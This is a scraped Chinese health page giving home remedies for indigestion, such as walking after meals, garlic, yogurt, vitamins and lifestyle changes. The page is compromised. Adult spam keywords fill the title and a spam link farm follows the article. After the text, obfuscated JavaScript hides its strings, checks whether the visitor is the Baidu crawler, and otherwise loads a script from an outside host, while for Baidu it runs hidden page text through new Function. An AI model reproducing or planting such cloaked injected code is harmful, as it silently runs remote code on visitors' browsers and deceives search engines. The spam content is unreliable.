久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當(dāng)前位置:首頁(yè) > 健康 > 常見疾病 > 正文

脾胃消化不良怎么能辦呢?

2017-06-18 09:02:14  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):人們的生活節(jié)奏越來越快,隨著快餐式飲食的出現(xiàn),很多人對(duì)吃的越來越不在意。很多人都是因?yàn)椴辉谝怙嬍硢栴}導(dǎo)致了自己的脾胃虛弱,以至于造

人們的生活節(jié)奏越來越快,隨著快餐式飲食的出現(xiàn),很多人對(duì)吃的越來越不在意。很多人都是因?yàn)椴辉谝怙嬍硢栴}導(dǎo)致了自己的脾胃虛弱,以至于造成了消化不良。也有少部分的脾胃弱是由于先天的遺傳因素造成的,不過大多數(shù)人都是由于后天自己的不良生活習(xí)慣造成的。當(dāng)我們出現(xiàn)脾胃消化不良時(shí)候,應(yīng)該怎么辦呢?今天小編在這里和大家討論下這個(gè)問題的解決辦法。

1、散步療法。古語(yǔ)云:“飯后百步走,活到九十九”。這是歷經(jīng)幾千年、無數(shù)人驗(yàn)證的經(jīng)驗(yàn)。

2、大蒜療法。在沒有抗生素的年代,大蒜被普遍視為救命的食材。大蒜具有殺菌、促進(jìn)腸道蠕動(dòng)的功能。每次消化不良時(shí),筆者都喜歡食用大蒜炒雞蛋、瘦肉之類的菜,效果非常好!

3、酸奶治法。酸奶中含有豐富的益生菌,對(duì)腸道的作用是非常大的。貴點(diǎn)就貴點(diǎn),投資自己的健康,是絕對(duì)不會(huì)虧本的!

4、建立良好的生活習(xí)慣,避免煙、酒。無特殊食譜,避免個(gè)人生活經(jīng)歷中誘發(fā)癥狀的食物。注意根據(jù)患者不同特點(diǎn)進(jìn)行心理治療。失眠、焦慮者可適當(dāng)予以鎮(zhèn)靜類藥的藥物。

5、減輕精神壓力,適當(dāng)體育鍛煉,合理飲食結(jié)構(gòu)等。

補(bǔ)充足夠的維生素。除食物補(bǔ)充外,必要時(shí)補(bǔ)給維生素制劑。結(jié)合臨床癥狀,重點(diǎn)補(bǔ)充 相應(yīng)的維生素,如維生素A、復(fù)合維生素B、維生素C、維生素D、維生素K等。

6、為保證營(yíng)養(yǎng)供給,對(duì)食欲不振的病人可用代替性治療。口服全營(yíng)養(yǎng)制劑等, 以補(bǔ)充營(yíng)養(yǎng)。

當(dāng)出現(xiàn)由于脾胃虛弱導(dǎo)致的消化不良的時(shí)候,首先還是要分析病因,看是由于什么原因引起的自己消化不良。如果是自己飲食方面的問題,那就要重新調(diào)整自己的飲食結(jié)構(gòu),做到營(yíng)養(yǎng)膳食,合理搭配。平時(shí)飯后不要立即坐下,可以給腸胃進(jìn)行按摩,做適度的運(yùn)動(dòng)。如果長(zhǎng)期還是沒有好轉(zhuǎn),那就要去大型的醫(yī)院去就醫(yī)檢查了。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 日本久久久久 | 久久99深爱久久99精品 | 久久精品中文 | 日韩欧美国产一区二区三区 | 国产区一二 | 成人精品视频99在线观看免费 | 国产福利电影一区 | 国产精品不卡一区 | 伊人激情影院 | 中文字幕一区二区三区四区 | 自拍偷拍小视频 | 91久久久久久久久久久久久 | 亚洲精品一区二区三区蜜桃久 | 日韩国产中文字幕 | 一级毛片在线视频 | 中文字幕日韩在线 | 中文字幕成人网 | 国产亚洲一区二区三区在线观看 | 日韩经典一区 | 欧美一区二区三区电影 | 欧美日本一区 | 福利网站在线观看 | 亚洲一区久久 | www伊人 | 久久久亚洲精品视频 | 成人激情视频在线观看 | 欧美日韩亚洲国产 | 曰曰操 | 欧美激情一区二区三区在线观看 | 综合久久综合久久 | 在线草| 久久免费网 | 国产精品久久久久婷婷二区次 | 黄色影视在线 | 亚洲欧美一区二区三区在线 | 在线高清av | 午夜精品久久久久久99热软件 | 国产女人高潮视频在线观看 | 午夜视频一区二区 | 天天曰 | 九九九九精品 |